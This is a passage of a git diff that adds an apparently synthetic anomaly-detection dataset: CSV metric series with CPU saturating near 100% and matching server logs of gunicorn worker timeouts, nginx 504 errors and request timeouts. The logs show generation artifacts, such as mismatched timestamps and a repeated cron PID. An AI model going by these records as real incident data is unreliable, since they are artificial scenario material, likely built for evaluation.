gunicorn[4012]: [CRITICAL] WORKER TIMEOUT (pid:5559) +Jul 02 11:02:44 nginx[1123]: GET /api/v1/processChunk HTTP/1.1 504 Gateway Timeout +Jul 02 11:02:45 CRON[26755]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 11:02:54 sshd[29602]: Accepted publickey for ubuntu from 192.168.1.105 port 57894 ssh2 +Jul 02 11:03:19 nginx[1123]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 02 11:03:27 app[5055]: WARN High latency detected on service 'user-profile': 25000ms +Jul 02 11:03:30 gunicorn[4012]: [CRITICAL] WORKER TIMEOUT (pid:5295) +Jul 02 11:03:36 systemd[1]: Started Session 7 of user ubuntu. +Jul 02 11:03:49 CRON[18225]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 11:03:58 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:04:10 app[5055]: ERROR Request timeout after 30000ms for user_id=766 +Jul 02 11:04:15 sshd[25230]: Accepted publickey for ubuntu from 192.168.1.105 port 50867 ssh2 +Jul 02 11:04:23 app[5055]: ERROR Request timeout after 30000ms for user_id=137 +Jul 02 11:04:24 CRON[28462]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 11:04:26 app[5055]: WARN High latency detected on service 'user-profile': 25000ms +Jul 02 11:04:28 gunicorn[4012]: [CRITICAL] WORKER TIMEOUT (pid:5686) +Jul 02 11:04:35 gunicorn[4012]: [CRITICAL] WORKER TIMEOUT (pid:5493) +Jul 02 11:04:41 nginx[1123]: GET /api/v1/processChunk HTTP/1.1 504 Gateway Timeout +Jul 02 11:04:43 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:04:48 app[5055]: ERROR Request timeout after 30000ms for user_id=845 +Jul 02 11:05:01 app[5055]: ERROR Request timeout after 30000ms for user_id=800 +Jul 02 11:05:04 CRON[26043]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 11:05:14 gunicorn[4012]: [CRITICAL] WORKER TIMEOUT (pid:5667) +Jul 02 11:05:26 nginx[1123]: GET /api/v1/processChunk HTTP/1.1 504 Gateway Timeout +Jul 02 11:05:28 nginx[1123]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 02 11:05:32 app[5055]: ERROR Request timeout after 30000ms for user_id=427 +Jul 02 11:05:33 app[5055]: ERROR Request timeout after 30000ms for user_id=491 +Jul 02 11:05:43 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:05:46 app[5055]: ERROR Request timeout after 30000ms for user_id=258 +Jul 02 11:05:55 nginx[1123]: GET /api/v1/processChunk HTTP/1.1 504 Gateway Timeout +Jul 02 11:06:02 app[5055]: WARN High latency detected on service 'user-profile': 25000ms +Jul 02 11:06:04 systemd[1]: Started Session 11 of user ubuntu. +Jul 02 11:06:04 app[5055]: ERROR Request timeout after 30000ms for user_id=554 +Jul 02 11:06:16 app[5055]: ERROR Request timeout after 30000ms for user_id=412 +Jul 02 11:06:21 gunicorn[4012]: [CRITICAL] WORKER TIMEOUT (pid:5395) +Jul 02 11:06:24 app[5055]: WARN High latency detected on service 'user-profile': 25000ms +Jul 02 11:06:26 sshd[13687]: Accepted publickey for ubuntu from 192.168.1.105 port 58020 ssh2 +Jul 02 11:06:31 app[5055]: WARN High latency detected on service 'user-profile': 25000ms +Jul 02 11:06:31 app[5055]: ERROR Request timeout after 30000ms for user_id=203 +Jul 02 11:06:38 gunicorn[4012]: [CRITICAL] WORKER TIMEOUT (pid:5891) +Jul 02 11:06:45 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:06:50 app[5055]: ERROR Request timeout after 30000ms for user_id=530 +Jul 02 11:06:52 gunicorn[4012]: [CRITICAL] WORKER TIMEOUT (pid:5518) +Jul 02 11:07:00 nginx[1123]: GET /api/v1/processChunk HTTP/1.1 504 Gateway Timeout +Jul 02 11:07:01 nginx[1123]: GET /api/v1/processChunk HTTP/1.1 504 Gateway Timeout +Jul 02 11:07:05 CRON[29210]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 11:07:12 app[5055]: WARN High latency detected on service 'user-profile': 25000ms +Jul 02 11:07:12 nginx[1123]: GET /api/v1/processChunk HTTP/1.1 504 Gateway Timeout +Jul 02 11:07:15 systemd[1]: Started Session 15 of user ubuntu. +Jul 02 11:07:19 nginx[1123]: GET /api/v1/processChunk HTTP/1.1 504 Gateway Timeout +Jul 02 11:07:26 nginx[1123]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 02 11:07:26 nginx[1123]: GET /api/v1/processChunk HTTP/1.1 504 Gateway Timeout +Jul 02 11:07:31 app[5055]: ERROR Request timeout after 30000ms for user_id=331 +Jul 02 11:07:51 sshd[19835]: Accepted publickey for ubuntu from 192.168.1.105 port 49657 ssh2 diff --git a/anom_dataset/scenario_1/anom_1_7.csv b/anom_dataset/scenario_1/anom_1_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..88bad6433f1ca457210b4137e35758d99ddb1e4f --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T11:00:00Z,25.2,42.37,28.53,0.67,0.84 +2025-07-03T11:00:05Z,24.44,44.47,32.04,0.62,1.27 +2025-07-03T11:00:10Z,20.38,43.85,25.95,1.32,1.09 +2025-07-03T11:00:15Z,28.21,40.85,27.01,1.37,1.15 +2025-07-03T11:00:20Z,20.72,41.57,29.96,1.03,1.56 +2025-07-03T11:00:25Z,16.14,41.21,23.02,0.57,1.29 +2025-07-03T11:00:30Z,23.39,41.42,28.48,1.03,0.86 +2025-07-03T11:00:35Z,19.52,41.15,31.3,1.29,1.62 +2025-07-03T11:00:40Z,20.17,43.11,31.31,0.65,0.85 +2025-07-03T11:00:45Z,19.21,41.0,30.27,1.35,1.56 +2025-07-03T11:00:50Z,24.49,43.63,27.74,0.54,1.28 +2025-07-03T11:00:55Z,16.04,42.82,29.77,0.58,1.69 +2025-07-03T11:01:00Z,21.86,40.59,34.6,1.42,0.82 +2025-07-03T11:01:05Z,22.44,40.17,29.23,1.22,1.54 +2025-07-03T11:01:10Z,27.77,41.61,31.74,0.56,1.74 +2025-07-03T11:01:15Z,18.84,42.18,29.41,1.13,1.12 +2025-07-03T11:01:20Z,16.2,41.82,28.55,1.23,1.31 +2025-07-03T11:01:25Z,24.25,42.39,34.9,0.55,0.81 +2025-07-03T11:01:30Z,23.99,43.53,25.88,1.48,1.45 +2025-07-03T11:01:35Z,26.58,43.43,28.06,1.17,1.13 +2025-07-03T11:01:40Z,18.59,43.02,31.31,1.44,1.02 +2025-07-03T11:01:45Z,19.63,41.54,33.2,1.22,1.1 +2025-07-03T11:01:50Z,20.53,41.42,32.21,1.33,1.58 +2025-07-03T11:01:55Z,16.35,43.54,31.3,0.9,0.94 +2025-07-03T11:02:00Z,23.79,44.35,21.57,1.4,0.93 +2025-07-03T11:02:05Z,24.58,42.5,28.63,0.86,0.82 +2025-07-03T11:02:10Z,19.07,41.46,32.16,1.25,0.82 +2025-07-03T11:02:15Z,21.62,40.18,21.25,1.02,1.71 +2025-07-03T11:02:20Z,19.42,40.27,24.55,1.28,1.19 +2025-07-03T11:02:25Z,27.96,40.76,29.29,1.3,0.91 +2025-07-03T11:02:30Z,30.35,45.52,23.09,0.97,0.95 +2025-07-03T11:02:35Z,34.07,44.42,28.97,0.8,1.16 +2025-07-03T11:02:40Z,39.88,42.86,22.28,1.14,0.93 +2025-07-03T11:02:45Z,44.78,42.81,24.23,0.65,1.16 +2025-07-03T11:02:50Z,49.41,44.11,31.61,1.33,1.19 +2025-07-03T11:02:55Z,51.28,43.75,30.62,0.81,1.16 +2025-07-03T11:03:00Z,57.88,44.08,23.35,1.22,1.17 +2025-07-03T11:03:05Z,62.48,42.27,28.82,0.65,1.14 +2025-07-03T11:03:10Z,65.01,42.01,22.21,0.77,1.02 +2025-07-03T11:03:15Z,71.44,44.25,31.01,0.93,1.35 +2025-07-03T11:03:20Z,73.76,43.9,31.2,0.94,0.91 +2025-07-03T11:03:25Z,80.78,42.54,22.87,1.14,1.6 +2025-07-03T11:03:30Z,83.3,41.76,32.01,1.01,1.66 +2025-07-03T11:03:35Z,88.77,41.72,32.88,0.74,1.55 +2025-07-03T11:03:40Z,94.73,41.88,30.07,1.27,1.67 +2025-07-03T11:03:45Z,98.37,44.97,22.43,1.26,1.36 +2025-07-03T11:03:50Z,97.2,45.23,23.92,0.76,0.94 +2025-07-03T11:03:55Z,99.35,41.76,29.66,1.27,1.26 +2025-07-03T11:04:00Z,97.38,42.75,25.16,1.18,1.48 +2025-07-03T11:04:05Z,99.09,45.81,26.29,1.18,1.16 +2025-07-03T11:04:10Z,98.56,42.68,29.18,1.21,1.2 +2025-07-03T11:04:15Z,97.36,44.91,26.19,0.99,1.47 +2025-07-03T11:04:20Z,97.29,42.1,22.98,0.84,1.4 +2025-07-03T11:04:25Z,99.26,43.21,25.13,0.7,1.59 +2025-07-03T11:04:30Z,98.62,45.92,24.78,0.61,0.91 +2025-07-03T11:04:35Z,99.2,42.24,27.88,1.16,1.54 +2025-07-03T11:04:40Z,98.96,41.45,28.04,1.28,1.56 +2025-07-03T11:04:45Z,99.99,43.37,28.81,0.89,1.01 +2025-07-03T11:04:50Z,97.79,44.68,26.65,1.25,1.57 +2025-07-03T11:04:55Z,97.67,42.49,32.45,0.61,1.36 +2025-07-03T11:05:00Z,97.82,44.66,29.6,1.3,1.65 +2025-07-03T11:05:05Z,98.34,41.91,28.74,1.31,1.4 +2025-07-03T11:05:10Z,98.11,41.63,26.98,1.12,1.12 +2025-07-03T11:05:15Z,98.33,45.45,26.01,1.32,1.17 +2025-07-03T11:05:20Z,97.78,45.98,25.67,0.66,1.4 +2025-07-03T11:05:25Z,99.36,41.62,32.75,1.28,1.5 +2025-07-03T11:05:30Z,97.31,44.13,30.55,0.82,1.01 +2025-07-03T11:05:35Z,99.74,43.32,22.33,0.71,1.44 +2025-07-03T11:05:40Z,99.8,45.5,26.64,0.96,1.43 +2025-07-03T11:05:45Z,99.63,41.5,28.9,1.05,1.02 +2025-07-03T11:05:50Z,97.93,41.11,32.15,0.9,1.57 +2025-07-03T11:05:55Z,97.17,44.57,30.2,1.27,0.92 +2025-07-03T11:06:00Z,98.73,44.93,32.28,1.0,1.46 +2025-07-03T11:06:05Z,98.15,45.1,23.2,0.73,1.15 +2025-07-03T11:06:10Z,98.14,42.78,26.95,0.86,1.11 +2025-07-03T11:06:15Z,99.17,41.25,24.77,1.15,0.9 +2025-07-03T11:06:20Z,97.33,44.55,23.42,0.74,1.27 +2025-07-03T11:06:25Z,99.66,44.94,26.91,1.22,1.63 +2025-07-03T11:06:30Z,99.68,45.99,29.47,1.38,1.33 +2025-07-03T11:06:35Z,98.93,45.74,26.98,0.86,1.41 +2025-07-03T11:06:40Z,98.71,45.09,27.09,1.17,1.13 +2025-07-03T11:06:45Z,98.6,41.84,28.54,0.98,1.25 +2025-07-03T11:06:50Z,99.22,43.45,25.07,0.94,1.48 +2025-07-03T11:06:55Z,99.13,44.56,23.28,1.03,1.2 +2025-07-03T11:07:00Z,99.33,42.51,30.53,1.38,1.16 +2025-07-03T11:07:05Z,99.27,43.79,32.09,0.63,1.67 +2025-07-03T11:07:10Z,97.84,43.06,27.26,0.74,1.34 +2025-07-03T11:07:15Z,97.1,43.85,23.0,1.32,1.37 +2025-07-03T11:07:20Z,98.32,41.5,24.11,0.97,1.32 +2025-07-03T11:07:25Z,98.89,43.66,23.36,1.38,1.32 diff --git a/anom_dataset/scenario_1/anom_1_7.log b/anom_dataset/scenario_1/anom_1_7.log new file mode 100644 index 0000000000000000000000000000000000000000..fd65ba254469547b9a61e833690489ca66766432 --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_7.log @@ -0,0 +1,104 @@ +Jul 03 11:00:00 CRON[9123]: (root) CMD ( /usr/local/bin/backup.sh) +Jul 03 11:00:15 CRON[9123]: (root) CMD ( /usr/local/bin/backup.sh) +Jul 03 11:00:20 CRON[9123]: (root) CMD ( /usr/local/bin/backup.sh) +Jul 03 11:00:25 nginx[1890]: 192.168.1.10 - - [03/Jul/2025:11:00:25 +0000] "GET /api/v1/health HTTP/1.1" 200 2 "-" "curl/7.68.0" +Jul 03 11:00:30 kubelet[2150]: INFO routine sync completed for pod api-gateway-5c6d8f8f8f-fghij +Jul 03 11:00:35 kubelet[2150]: INFO routine sync completed for pod web-app-7b6f4f7f4d-abcde +Jul 03 11:00:40 sshd[8921]: Accepted publickey for ubuntu from 172.17.0.1 port 51234 ssh2 +Jul 03 11:00:45 sshd[8921]: Accepted publickey for ubuntu from 192.168.1.10 port 51234 ssh2 +Jul 03 11:00:50 systemd[1]: Started Session 34 of user ubuntu. +Jul 03 11:00:55 systemd[1]: Started Session 38 of user ubuntu. +Jul 03 11:01:00 systemd[1]: Started Session 149 of user ubuntu. +Jul 03 11:01:05 CRON[9123]: (root) CMD ( /usr/local/bin/backup.sh) +Jul 03 11:01:10 systemd[1]: Started Session 50 of user ubuntu. +Jul 03 11:01:15 systemd[1]: Started Session 149 of user ubuntu. +Jul 03 11:01:20 nginx[1890]: 192.168.1.10 - - [03/Jul/2025:11:01:20 +0000] "GET /api/v1/health HTTP/1.1" 200 2 "-" "curl/7.68.0" +Jul 03 11:01:25 sshd[8921]: Accepted publickey for ubuntu from 10.0.2.15 port 51234 ssh2 +Jul 03 11:01:40 kubelet[2150]: INFO routine sync completed for pod web-app-7b6f4f7f4d-abcde +Jul 03 11:01:45 nginx[1890]: 192.168.1.10 - - [03/Jul/2025:11:01:45 +0000] "GET /api/v1/health HTTP/1.1" 200 2 "-" "curl/7.68.0" +Jul 03 11:01:55 kubelet[2150]: INFO routine sync completed for pod database-0 +Jul 03 11:02:00 systemd[1]: Started Session 165 of user ubuntu. +Jul 03 11:02:10 kubelet[2150]: INFO routine sync completed for pod database-0 +Jul 03 11:02:15 systemd[1]: Started Session 106 of user ubuntu. +Jul 03 11:02:20 CRON[9123]: (root) CMD ( /usr/local/bin/backup.sh) +Jul 03 11:02:25 nginx[1890]: 172.17.0.1 - - [03/Jul/2025:11:02:25 +0000] "GET /api/v1/health HTTP/1.1" 200 2 "-" "curl/7.68.0" +Jul 03 11:02:30 sshd[8921]: Accepted publickey for ubuntu from 10.0.2.15 port 51234 ssh2 +Jul 03 11:02:35 sshd[8921]: Accepted publickey for ubuntu from 192.168.1.10 port 51234 ssh2 +Jul 03 11:02:40 kubelet[2150]: INFO routine sync completed for pod web-app-7b6f4f7f4d-abcde +Jul 03 11:02:45 kubelet[2150]: INFO routine sync completed for pod api-gateway-5c6d8f8f8f-fghij +Jul 03 11:03:02 gunicorn[6543]: [CRITICAL] WORKER TIMEOUT (pid:16945) +Jul 03 11:03:05 nginx[1890]: 10.0.2.15 - - [03/Jul/2025:11:03:05 +0000] "POST /api/v1/orders HTTP/1.1" 504 167 "-" "Go-http-client/1.1" +Jul 03 11:03:10 gunicorn[6543]: [CRITICAL] WORKER TIMEOUT (pid:24622) +Jul 03 11:03:15 systemd[1]: Started Session 123 of user ubuntu. +Jul 03 11:03:16 app-worker[7742]: WARNING: High latency detected for user_id=6049, duration=28.5s +Jul 03 11:03:20 sshd[8921]: Accepted publickey for ubuntu from 192.168.1.10 port 51234 ssh2 +Jul 03 11:03:27 app-worker[7741]: ERROR: Request timeout after 30000ms for task process_payment +Jul 03 11:03:32 gunicorn[6543]: [CRITICAL] WORKER TIMEOUT (pid:24692) +Jul 03 11:03:35 CRON[9123]: (root) CMD ( /usr/local/bin/backup.sh) +Jul 03 11:03:43 nginx[1890]: 192.168.1.10 - - [03/Jul/2025:11:03:45 +0000] "POST /api/v1/orders HTTP/1.1" 504 167 "-" "Go-http-client/1.1" +Jul 03 11:03:45 nginx[1890]: 10.0.2.15 - - [03/Jul/2025:11:03:45 +0000] "GET /api/v1/health HTTP/1.1" 200 2 "-" "curl/7.68.0" +Jul 03 11:03:51 app-worker[7741]: ERROR: Request timeout after 30000ms for task process_payment +Jul 03 11:03:55 nginx[1890]: 172.17.0.1 - - [03/Jul/2025:11:03:55 +0000] "GET /api/v1/health HTTP/1.1" 200 2 "-" "curl/7.68.0" +Jul 03 11:03:57 app-worker[7742]: WARNING: High latency detected for user_id=4533, duration=28.5s +Jul 03 11:04:00 sshd[8921]: Accepted publickey for ubuntu from 172.17.0.1 port 51234 ssh2 +Jul 03 11:04:01 nginx[1890]: 192.168.1.10 - - [03/Jul/2025:11:04:00 +0000] "POST /api/v1/orders HTTP/1.1" 504 167 "-" "Go-http-client/1.1" +Jul 03 11:04:05 systemd[1]: Started Session 80 of user ubuntu. +Jul 03 11:04:15 gunicorn[6543]: [CRITICAL] WORKER TIMEOUT (pid:24325) +Jul 03 11:04:15 systemd[1]: Started Session 162 of user ubuntu. +Jul 03 11:04:19 app-worker[7742]: WARNING: High latency detected for user_id=6233, duration=28.5s +Jul 03 11:04:24 app-worker[7742]: WARNING: High latency detected for user_id=9648, duration=28.5s +Jul 03 11:04:25 kubelet[2150]: INFO routine sync completed for pod web-app-7b6f4f7f4d-abcde +Jul 03 11:04:29 app-worker[7741]: ERROR: Request timeout after 30000ms for task process_payment +Jul 03 11:04:30 systemd[1]: Started Session 177 of user ubuntu. +Jul 03 11:04:33 app-worker[7741]: ERROR: Request timeout after 30000ms for task process_payment +Jul 03 11:04:35 CRON[9123]: (root) CMD ( /usr/local/bin/backup.sh) +Jul 03 11:04:40 sshd[8921]: Accepted publickey for ubuntu from 192.168.1.10 port 51234 ssh2 +Jul 03 11:04:41 app-worker[7742]: WARNING: High latency detected for user_id=1212, duration=28.5s +Jul 03 11:04:45 sshd[8921]: Accepted publickey for ubuntu from 10.0.2.15 port 51234 ssh2 +Jul 03 11:04:55 systemd[1]: Started Session 146 of user ubuntu. +Jul 03 11:04:57 nginx[1890]: 192.168.1.10 - - [03/Jul/2025:11:04:55 +0000] "POST /api/v1/orders HTTP/1.1" 504 167 "-" "Go-http-client/1.1" +Jul 03 11:05:00 sshd[8921]: Accepted publickey for ubuntu from 192.168.1.10 port 51234 ssh2 +Jul 03 11:05:05 app-worker[7741]: ERROR: Request timeout after 30000ms for task process_payment +Jul 03 11:05:05 nginx[1890]: 10.0.2.15 - - [03/Jul/2025:11:05:05 +0000] "GET /api/v1/health HTTP/1.1" 200 2 "-" "curl/7.68.0" +Jul 03 11:05:10 sshd[8921]: Accepted publickey for ubuntu from 192.168.1.10 port 51234 ssh2 +Jul 03 11:05:12 nginx[1890]: 10.0.2.15 - - [03/Jul/2025:11:05:10 +0000] "POST /api/v1/orders HTTP/1.1" 504 167 "-" "Go-http-client/1.1" +Jul 03 11:05:14 gunicorn[6543]: [CRITICAL] WORKER TIMEOUT (pid:16416) +Jul 03 11:05:15 sshd[8921]: Accepted publickey for ubuntu from 10.0.2.15 port 51234 ssh2 +Jul 03 11:05:21 app-worker[7741]: ERROR: Request timeout after 30000ms for task process_payment +Jul 03 11:05:25 sshd[8921]: Accepted publickey for ubuntu from 172.17.0.1 port 51234 ssh2 +Jul 03 11:05:30 sshd[8921]: Accepted publickey for ubuntu from 10.0.2.15 port 51234 ssh2 +Jul 03 11:05:32 app-worker[7741]: ERROR: Request timeout after 30000ms for task process_payment +Jul 03 11:05:33 nginx[1890]: 172.17.0.1 - - [03/Jul/2025:11:05:35 +0000] "POST /api/v1/orders HTTP/1.1" 504 167 "-" "Go-http-client/1.1" +Jul 03 11:05:40 sshd[8921]: Accepted publickey for ubuntu from 172.17.0.1 port 51234 ssh2 +Jul 03 11:05:44 nginx[1890]: 10.0.2.15 - - [03/Jul/2025:11:05:45 +0000] "POST /api/v1/orders HTTP/1.1" 504 167 "-" "Go-http-client/1.1" +Jul 03 11:05:51 nginx[1890]: 10.0.2.15 - - [03/Jul/2025:11:05:50 +0000] "POST /api/v1/orders HTTP/1.1" 504 167 "-" "Go-http-client/1.1" +Jul 03 11:05:54 app-worker[7742]: WARNING: High latency detected for user_id=3321, duration=28.5s +Jul 03 11:06:01 app-worker[7741]: ERROR: Request timeout after 30000ms for task process_payment +Jul 03 11:06:03 nginx[1890]: 172.17.0.1 - - [03/Jul/2025:11:06:05 +0000] "POST /api/v1/orders HTTP/1.1" 504 167 "-" "Go-http-client/1.1" +Jul 03 11:06:05 nginx[1890]: 192.168.1.10 - - [03/Jul/2025:11:06:05 +0000] "GET /api/v1/health HTTP/1.1" 200 2 "-" "curl/7.68.0" +Jul 03 11:06:10 app-worker[7741]: ERROR: Request timeout after 30000ms for task process_payment +Jul 03 11:06:10 kubelet[2150]: INFO routine sync completed for pod database-0 +Jul 03 11:06:15 CRON[9123]: (root) CMD ( /usr/local/bin/backup.sh) +Jul 03 11:06:19 nginx[1890]: 192.168.1.10 - - [03/Jul/2025:11:06:20 +0000] "POST /api/v1/orders HTTP/1.1" 504 167 "-" "Go-http-client/1.1" +Jul 03 11:06:20 sshd[8921]: Accepted publickey for ubuntu from 192.168.1.10 port 51234 ssh2 +Jul 03 11:06:23 nginx[1890]: 10.0.2.15 - - [03/Jul/2025:11:06:25 +0000] "POST /api/v1/orders HTTP/1.1" 504 167 "-" "Go-http-client/1.1" +Jul 03 11:06:25 kubelet[2150]: INFO routine sync completed for pod api-gateway-5c6d8f8f8f-fghij +Jul 03 11:06:30 nginx[1890]: 172.17.0.1 - - [03/Jul/2025:11:06:30 +0000] "GET /api/v1/health HTTP/1.1" 200 2 "-" "curl/7.68.0" +Jul 03 11:06:32 nginx[1890]: 172.17.0.1 - - [03/Jul/2025:11:06:30 +0000] "POST /api/v1/orders HTTP/1.1" 504 167 "-" "Go-http-client/1.1" +Jul 03 11:06:34 app-worker[7742]: WARNING: High latency detected for user_id=3828, duration=28.5s +Jul 03 11:06:35 systemd[1]: Started Session 10 of user ubuntu. +Jul 03 11:06:39 app-worker[7741]: ERROR: Request timeout after 30000ms for task process_payment +Jul 03 11:06:40 nginx[1890]: 172.17.0.1 - - [03/Jul/2025:11:06:40 +0000] "GET /api/v1/health HTTP/1.1" 200 2 "-" "curl/7.68.0" +Jul 03 11:06:45 systemd[1]: Started Session 101 of user ubuntu. +Jul 03 11:06:50 nginx[1890]: 192.168.1.10 - - [03/Jul/2025:11:06:50 +0000] "POST /api/v1/orders HTTP/1.1" 504 167 "-" "Go-http-client/1.1" +Jul 03 11:06:56 gunicorn[6543]: [CRITICAL] WORKER TIMEOUT (pid:17118) +Jul 03 11:07:00 nginx[1890]: 192.168.1.10 - - [03/Jul/2025:11:07:00 +0000] "GET /api/v1/health HTTP/1.1" 200 2 "-" "curl/7.68.0" +Jul 03 11:07:02 nginx[1890]: 192.168.1.10 - - [03/Jul/2025:11:07:00 +0000] "POST /api/v1/orders HTTP/1.1" 504 167 "-" "Go-http-client/1.1" +Jul 03 11:07:03 app-worker[7742]: WARNING: High latency detected for user_id=4423, duration=28.5s +Jul 03 11:07:05 kubelet[2150]: INFO routine sync completed for pod web-app-7b6f4f7f4d-abcde +Jul 03 11:07:10 kubelet[2150]: INFO routine sync completed for pod database-0 +Jul 03 11:07:11 app-worker[7742]: WARNING: High latency detected for user_id=7731, duration=28.5s +Jul 03 11:07:20 CRON[9123]: (root) CMD ( /usr/local/bin/backup.sh) +Jul 03 11:07:21 app-worker[7741]: ERROR: Request timeout after 30000ms for task process_payment +Jul 03 11:07:23 nginx[1890]: 172.17.0.1 - - [03/Jul/2025:11:07:25 +0000] "POST /api/v1/orders HTTP/1.1" 504 167 "-" "Go-http-client/1.1" +Jul 03 11:07:25 sshd[8921]: Accepted publickey for ubuntu from 10.0.2.15 port 51234 ssh2 diff --git a/anom_dataset/scenario_1/anom_1_8.csv b/anom_dataset/scenario_1/anom_1_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..7ebdef6b9bdd3529ddff4e35a223d7450b612314 --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-20T10:00:00Z,22.88,35.14,25.75,1.27,1.68 +2025-08-20T10:00:05Z,17.27,41.24,29.97,1.48,1.68 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+2025-08-20T10:01:50Z,16.25,35.11,19.85,1.17,1.71 +2025-08-20T10:01:55Z,23.7,38.9,26.51,0.93,0.99 +2025-08-20T10:02:00Z,15.77,42.82,24.75,0.55,1.73 +2025-08-20T10:02:05Z,18.08,44.57,31.74,1.31,1.26 +2025-08-20T10:02:10Z,21.35,38.77,28.12,0.76,1.38 +2025-08-20T10:02:15Z,19.12,35.74,22.51,0.62,0.96 +2025-08-20T10:02:20Z,21.87,40.6,28.82,0.74,1.46 +2025-08-20T10:02:25Z,18.09,42.73,30.42,1.23,1.45 +2025-08-20T10:02:30Z,16.65,44.34,29.36,1.07,1.24 +2025-08-20T10:02:35Z,19.67,39.01,30.4,1.03,1.04 +2025-08-20T10:02:40Z,22.78,37.0,23.92,0.76,1.22 +2025-08-20T10:02:45Z,25.71,36.3,34.83,1.38,1.24 +2025-08-20T10:02:50Z,29.2,39.93,33.62,1.11,1.3 +2025-08-20T10:02:55Z,30.52,41.55,36.8,1.22,1.31 +2025-08-20T10:03:00Z,35.2,41.66,27.59,1.35,1.61 +2025-08-20T10:03:05Z,39.59,39.71,25.75,0.64,1.6 +2025-08-20T10:03:10Z,39.93,38.99,31.91,0.61,1.33 +2025-08-20T10:03:15Z,44.67,40.26,23.64,1.14,0.99 +2025-08-20T10:03:20Z,44.61,37.37,32.44,0.51,1.0 +2025-08-20T10:03:25Z,49.08,39.31,23.63,1.37,1.02 +2025-08-20T10:03:30Z,50.12,40.74,21.8,1.2,1.1 +2025-08-20T10:03:35Z,56.05,36.79,28.36,0.97,1.65 +2025-08-20T10:03:40Z,57.41,42.14,27.84,0.89,1.77 +2025-08-20T10:03:45Z,58.8,43.51,32.53,1.03,1.06 +2025-08-20T10:03:50Z,62.64,35.79,24.55,0.67,1.19 +2025-08-20T10:03:55Z,67.86,34.97,30.41,0.51,0.92 +2025-08-20T10:04:00Z,70.12,43.0,27.29,1.11,1.07 +2025-08-20T10:04:05Z,70.24,40.68,27.37,1.27,1.22 +2025-08-20T10:04:10Z,75.45,42.95,35.42,1.36,1.38 +2025-08-20T10:04:15Z,75.98,37.72,21.2,1.37,1.2 +2025-08-20T10:04:20Z,80.76,44.66,29.57,0.58,1.4 +2025-08-20T10:04:25Z,81.5,36.43,26.84,0.81,1.13 +2025-08-20T10:04:30Z,84.49,36.12,23.97,1.04,1.51 +2025-08-20T10:04:35Z,88.57,43.56,23.63,1.0,1.33 +2025-08-20T10:04:40Z,91.68,38.94,24.46,1.1,1.39 +2025-08-20T10:04:45Z,95.04,36.23,24.92,0.9,0.81 +2025-08-20T10:04:50Z,97.42,39.14,20.51,1.06,1.29 +2025-08-20T10:04:55Z,99.88,35.93,34.67,0.81,1.41 +2025-08-20T10:05:00Z,100.0,42.82,32.43,1.49,1.05 +2025-08-20T10:05:05Z,100.0,44.1,28.36,0.63,1.11 +2025-08-20T10:05:10Z,100.0,42.81,26.4,1.34,1.21 +2025-08-20T10:05:15Z,100.0,44.39,32.94,0.76,1.38 +2025-08-20T10:05:20Z,100.0,39.33,28.71,1.23,1.69 +2025-08-20T10:05:25Z,100.0,39.26,28.98,1.15,1.35 +2025-08-20T10:05:30Z,100.0,44.94,29.87,0.6,1.74 +2025-08-20T10:05:35Z,100.0,43.34,33.35,0.96,0.89 +2025-08-20T10:05:40Z,100.0,44.29,25.23,1.1,1.48 +2025-08-20T10:05:45Z,100.0,35.67,28.53,0.57,1.07 +2025-08-20T10:05:50Z,100.0,43.37,25.17,1.34,1.52 +2025-08-20T10:05:55Z,100.0,39.0,28.88,1.42,1.14 +2025-08-20T10:06:00Z,100.0,38.48,22.66,0.74,1.76 +2025-08-20T10:06:05Z,100.0,37.28,24.11,1.5,1.24 +2025-08-20T10:06:10Z,100.0,42.36,28.34,0.75,1.33 +2025-08-20T10:06:15Z,100.0,43.81,23.74,1.41,1.04 +2025-08-20T10:06:20Z,100.0,38.21,27.55,0.59,1.09 +2025-08-20T10:06:25Z,100.0,40.19,22.2,0.54,1.31 +2025-08-20T10:06:30Z,100.0,37.95,25.05,0.51,1.65 +2025-08-20T10:06:35Z,100.0,37.89,25.84,0.63,1.27 +2025-08-20T10:06:40Z,100.0,35.91,27.29,1.21,1.49 +2025-08-20T10:06:45Z,100.0,36.62,24.84,0.98,1.53 +2025-08-20T10:06:50Z,100.0,43.12,36.17,1.33,1.06 +2025-08-20T10:06:55Z,100.0,36.74,18.34,1.33,1.49 +2025-08-20T10:07:00Z,100.0,38.2,29.57,0.8,1.28 +2025-08-20T10:07:05Z,100.0,37.67,32.62,0.61,1.64 +2025-08-20T10:07:10Z,100.0,44.6,26.15,0.51,1.78 +2025-08-20T10:07:15Z,100.0,36.85,27.6,0.8,1.18 +2025-08-20T10:07:20Z,100.0,43.52,30.13,0.81,0.95 +2025-08-20T10:07:25Z,100.0,36.72,31.18,1.36,1.6 diff --git a/anom_dataset/scenario_1/anom_1_8.log b/anom_dataset/scenario_1/anom_1_8.log new file mode 100644 index 0000000000000000000000000000000000000000..6d1778d96baba1d5dacc974c36aa00eb883818d2 --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_8.log @@ -0,0 +1,141 @@ +Aug 20 10:00:01 systemd[1]: Starting Clean up of old temporary directories... +Aug 20 10:00:06 kubelet[18757]: INFO routine sync completed for pod web-app-v2 +Aug 20 10:00:07 systemd[1]: Starting Clean up of old temporary directories... +Aug 20 10:00:18 nginx[11240]: GET /api/v1/health HTTP/1.1 200 OK +Aug 